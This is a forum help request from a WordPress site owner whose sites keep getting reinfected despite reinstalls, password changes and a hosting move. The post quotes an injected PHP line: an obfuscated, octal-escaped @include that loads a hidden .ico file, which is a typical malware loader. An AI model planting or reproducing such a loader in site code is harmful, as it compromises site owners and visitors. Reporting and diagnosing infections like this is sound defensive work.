WordPress hacked, strange files appear

Hi,

I have multiple WP sites and I’m facing with some strange files that appears in some database.

For example, I found this in index.php

<?php
/*1abac*/

@include “\057ho\155e/\164es\154ab\145t/\141br\141ha\155ti\160s.\143om\057.w\145ll\055kn\157wn\057pk\151-v\141li\144at\151on\057.b\064d3\144e6\070.i\143o”;

/*1abac*/

The similar files, I found in wp-config.php.

I constantly clean them, but after one day or two, they appear again.

I reinstalled all WordPress site, all themes and plugins are up to date. I changes all passwords, Cpanel, admin passwords, but nothing changed.

I migrated to another hosting, but it didn’t help.

Also, I can see some .ico files, in /uploads or /wp-includes or some strange .php files, footer2.php or file25.php etc.

After I clean them, they appear again.

All sites are work fine, but I worry about all those strange files.

Do you know how to fix it?

Thanks.